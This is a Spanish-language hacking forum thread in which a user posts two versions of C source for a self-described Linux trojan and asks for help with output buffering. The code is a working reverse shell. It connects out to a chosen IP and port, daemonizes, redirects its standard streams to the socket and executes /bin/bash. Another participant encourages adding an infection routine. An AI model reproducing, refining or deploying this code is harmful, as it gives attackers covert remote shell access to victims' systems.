Autor
|
Tema: [C] Linux Trojan & dup2 () (Leído 4,228 veces)
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar... Corrigiendo code... Recuerdo que no esta terminado. Posteen mejoras, etc.. #include <time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> struct sockaddr_in host; int sockfd; int execsock (int socket, char program []) { close(0); close(1); close(2); dup2(socket, 0); dup2(socket, 1); dup2(socket, 2); execve(program, NULL, NULL); return 0; } int main (int argc, char *argv []) { struct tm *ahora; char hora [40]; strftime (hora , 40, "%d/%m/%Y %H:%M:%S" , ahora ); printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora ); if (argc == 3) { host.sin_addr.s_addr = inet_addr (argv [1]); host. sin_port = htons (atoi (argv [2])); host.sin_family = AF_INET; } else { host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar! host.sin_port = htons (31337); host.sin_family = AF_INET; } sockfd = socket (2, 1, 0); if (sockfd != -1) { printf ("[OK]\nConectando...\t\a"); } else { return 1; } while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1) sleep (1); printf ("[OK]\nLanzando sell...\t[OK]"); daemon (1, 0); execsock (sockfd, "/bin/bash"); close (sockfd); return 0; }
Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui: printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...
|
|
« Última modificación: 19 Diciembre 2010, 15:57 pm por Sagrini »
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Chuckporris
Desconectado
Mensajes: 32
|
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO. Pero bueno..suerte.
|
|
|
En línea
|
|
|
|
pucheto
Desconectado
Mensajes: 215
|
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO. Pero bueno..suerte.
Equivocado, si se puede... el tema es q le tenes q dar permisos.
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 896
Imagen recursiva
|
No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO. Pero bueno..suerte.
Para nada es imposible crear un troyano, de hecho yo hice hace tiempo uno. Si quieres un consejo te recomiendo que si vas a hacer un gran troyano hagas un código mucho más ordenado que te permita añadirle nuevas features fácilmente. También te falta una rutina de infección que no es difícil de hacer en linux. Suerte.
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Viendo que se puede... Gracias por los consejos, ahora me pongo... PD: Ahora modifico con el code...
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 896
Imagen recursiva
|
Se me olvidaba decirte ... el nombre lynx ya está cogido. Es un navegador por consola para linux.
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Finish! Bueno, no del todo, version 0.2 xD: #include <time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> struct sockaddr_in host; int sockfd; int sell () { close(0); close(1); close(2); dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); execve("/bin/bash", NULL, NULL); return 0; } int main (int argc, char *argv []) { struct tm *ahora; char hora [40]; strftime (hora , 40, "%d/%m/%Y %H:%M:%S" , ahora ); printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora ); //Esto escribira la presentacion. if (argc == 3) { host.sin_addr.s_addr = inet_addr (argv [1]); host. sin_port = htons (atoi (argv [2])); host.sin_family = AF_INET; } else { host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar! host.sin_port = htons (31337); host.sin_family = AF_INET; } sockfd = socket (2, 1, 0); if (sockfd != -1) { } else { return 1; } while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1) sleep (1); daemon (1, 0); printf ("Lanzando sell...\t"); if (sell ()==-1) { close (sockfd); return 1; } close (sockfd); return 0; }
Ahora lo que falla es que "Conectando..." no se escribe hasta que no se conecta...Como lo puedo arreglar? Me podrian ayudar
|
|
« Última modificación: 19 Diciembre 2010, 15:33 pm por Sagrini »
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
|
|